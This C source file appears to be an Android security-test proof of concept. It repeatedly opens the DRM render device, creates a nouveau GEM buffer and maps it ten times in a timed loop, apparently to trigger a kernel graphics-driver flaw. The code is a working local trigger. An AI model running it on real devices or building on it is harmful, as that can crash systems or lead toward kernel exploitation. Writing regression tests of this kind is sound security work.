1 /**
2  * Copyright (C) 2018 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 #include <fcntl.h>
18 #include <stdio.h>
19 #include <stdlib.h>
20 #include <string.h>
21 #include <sys/ioctl.h>
22 #include <sys/prctl.h>
23 #include <sys/types.h>
24 #include <sys/wait.h>
25 #include <unistd.h>
26 #include "local_poc.h"
27 #include "../includes/common.h"
28 #define DRMDEV_NAME "/dev/dri/renderD128"
29 #define MAX_MAPS 10
30 
drm_version(int fd)31 static int drm_version(int fd) {
32   struct drm_version ver;
33   ver.name_len = 100;
34   ver.date_len = 100;
35   ver.desc_len = 100;
36 
37   ver.name = (char*)malloc(ver.name_len);
38   ver.date = (char*)malloc(ver.date_len);
39   ver.desc = (char*)malloc(ver.desc_len);
40 
41   if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) {
42     close(fd);
43     exit(EXIT_FAILURE);
44   }
45   return 0;
46 }
47 
nouveau_gem_ioctl_new(int fd)48 static uint32_t nouveau_gem_ioctl_new(int fd) {
49   struct drm_nouveau_gem_new new_arg;
50 
51   memset(&new_arg, 0, sizeof(new_arg));
52 
53   new_arg.info.size = 0x1000;
54   new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART;
55 
56   if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) {
57     close(fd);
58     exit(EXIT_FAILURE);
59   }
60   return new_arg.info.handle;
61 }
62 
nouveau_gem_ioctl_map(int fd,uint32_t handle)63 static void nouveau_gem_ioctl_map(int fd, uint32_t handle) {
64   struct drm_nouveau_gem_map map_arg;
65   memset(&map_arg, 0, sizeof(map_arg));
66   map_arg.handle = handle;
67   map_arg.length = 0x1000;
68 
69   if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) {
70     close(fd);
71     exit(EXIT_FAILURE);
72   }
73 }
74 
main()75 int main() {
76   int fd;
77   time_t test_started = start_timer();
78 
79   while (timer_active(test_started)) {
80     fd = open(DRMDEV_NAME, O_RDWR);
81     if (fd < 0) {
82       return -1;
83     }
84 
85     drm_version(fd);
86 
87     uint32_t handle = nouveau_gem_ioctl_new(fd);
88 
89     for (int i = 0; i < MAX_MAPS; i++) {
90       nouveau_gem_ioctl_map(fd, handle);
91     }
92     close(fd);
93   }
94   return 0;
95 }
96